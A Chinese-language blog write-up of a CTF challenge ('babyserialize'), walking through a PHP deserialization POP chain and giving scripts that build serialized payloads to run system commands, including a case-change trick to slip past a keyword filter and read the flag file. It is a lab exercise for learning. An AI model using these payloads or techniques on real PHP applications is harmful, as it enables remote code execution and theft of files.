NSSCTF [NISACTF 2022]babyserialize

 
复制代码
<?php
include "waf.php";
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;// 1 shell
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);//执行代码的地方,函数来源于NISA类
    }
}

class TianXiWei{
    public $ext;//5 传递Ilovetxw
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;// 4 传递four的地方
    public $su;// 2 传递参数的地方,可以将类NISA传过来

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){//_toString:当代码为字符串的时候执行
        $bb = $this->su;//参数传递的地方,传递参数su,来源于类Ilovetxw
return $bb(); 
} }
class four{ 
public $a="TXW4EVER";//3 传递类Ilovetxw的地方
 private $fun='abc'; //fun的值要为sixsixsix
public function __set($name, $value) {
 $this->$name=$value;
 if ($this->fun = "sixsixsix"){ 
strtolower($this->a); } 
} }
if(isset($_GET['ser']))
{ @unserialize($_GET['ser']);//对GET获取的ser进行反序列化
 }else{ highlight_file(__FILE__); } 
//func checkcheck($data){ 
// if(preg_match(......)){
 // die(something wrong); 
// }
 //} 
//function hint(){ 
// echo "......."; 
// die(); 
//} 
?>
复制代码

 

先看题,是一道反序列化的题,进入就是php代码,先看代码,是pop链,先找链尾,也就是执行函数的地方,例如eval,在NISA类中能看见eval,所以这就是代码执行的地方,也就是这条pop链的链尾。执行的函数是txw4ever,在代码后面标注一下(放在开篇的代码里面标注的)。这里进行赋值的时候使用了checkcheck方法,看样子是个检测方法,给的代码里面没有完整代码,猜测应该是一个过滤。

 既然要执行一个函数,那就需要将参数传递过去,下面找传递的地方,类似$a=$b的语句。可以在类Ilovetxw中看见这样一条语句, 可以看见,这里将su传递给了$bb,使用的是_toString。

继续向下看类four,里面是一个if判断,当fun=sixsixsix时才可以给类four里面的函数a赋值,所以待会需要修改fun的值。strtolower自动将大写转换成小写。

 顺着fun,我们找到类Ilovetxw里面的_call方法,在这里使用到了fun,但是我们可以发现,类Ilovetxw里面并没有fun函数,所以,我们可以将里面的four传递给里面的函数huang。_call方法在NISA里面,我们继续回到NISA寻找,并未发现其他的东西。

 继续查看代码,我们可以发现类TianXiWe里面的Wakeup方法,这里就是我们的链头所在了。这个方法就不用多说了,只要使用了反序列化unserialize机会自动调用。这里可以发现将nisa给了函数ext,而之前我们将nisa给了Ilovetxw,所以在这里我们需要给ext传递的就是Ilovetxw

 由此我们可以构造以下序列化代码

复制代码
<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$a=new NISA();
$a->txw4ever='system("ls");';
$b=new Ilovetxw();
$b->su=$a;
$c=new four();
$c->a=$b;
$b=new Ilovetxw();
$b->huang=$c;
$d=new tianXiWei();
$d->ext=$b;
echo urlencode(serialize($d));
?>
复制代码

传递结果给ser,得到下面的界面

 知道flag在根目录下面,将ls改为cat /f*试试

 依然还是这个界面,那就说明哪里不对,能出现界面变化,说明前面应该没有问题,那就是那两个不知到用处的方法搞得鬼。

 一个checkcheck,一个hint方法,先看hint方法。用在这个地方的,他调用的前置条件是fun必须为这个值,那绕过他就很好办了,把fun的值改了就行了。随便改一个试试。

 页面发生变化,说明绕过了hint方法。

 接着是checkcheck方法,一看见preg_match,那多半就是对一些铭感词的过滤了,所以system,cat这些换个样子才行。最后得到下面的序列化代码

复制代码
<?php
class NISA{
    public $fun="show_me_flag";
    public $txw4ever;
    public function __wakeup()
    {
        if($this->fun=="show_me_flag"){
            hint();
        }
    }

    function __call($from,$val){
        $this->fun=$val[0];
    }

    public function __toString()
    {
        echo $this->fun;
        return " ";
    }
    public function __invoke()
    {
        checkcheck($this->txw4ever);
        @eval($this->txw4ever);
    }
}

class TianXiWei{
    public $ext;
    public $x;
    public function __wakeup()
    {
        $this->ext->nisa($this->x);
    }
}

class Ilovetxw{
    public $huang;
    public $su;

    public function __call($fun1,$arg){
        $this->huang->fun=$arg[0];
    }

    public function __toString(){
        $bb = $this->su;
        return $bb();
    }
}

class four{
    public $a="TXW4EVER";
    private $fun='sixsixsix';

    public function __set($name, $value)
    {
        $this->$name=$value;
        if ($this->fun = "sixsixsix"){
            strtolower($this->a);
        }
    }
}
$n=new NISA();
$n->txw4ever='System("cat /f*");';
$n->fun="666";
$i=new Ilovetxw();
$i->su=$n;
$f=new four();
$f->a=$i;
$i=new Ilovetxw();
$i->huang=$f;
$t=new tianXiWei();
$t->ext=$i;
echo urlencode(serialize($t));
?>
复制代码

成功拿到flag

 

posted @   karasbai  阅读(8)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
点击右上角即可分享
微信分享提示